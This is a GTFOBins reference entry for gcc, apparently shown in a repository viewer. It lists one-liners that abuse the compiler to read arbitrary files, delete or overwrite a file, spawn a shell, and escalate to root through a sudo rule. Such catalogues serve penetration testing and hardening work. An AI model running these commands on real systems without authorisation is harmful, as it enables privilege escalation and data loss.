GTFOBins.github.io/_gtfobins/gcc.md
2021-04-06 09:45:44 +02:00

16 lines
326 B
Markdown

---
functions:
file-read:
- code: |
LFILE=file_to_read
gcc -x c -E "$LFILE"
file-write: # XXX this should be file-delete
- code: |
LFILE=file_to_delete
gcc -xc /dev/null -o $LFILE
shell:
- code: gcc -wrapper /bin/sh,-s .
sudo:
- code: sudo gcc -wrapper /bin/sh,-s .
---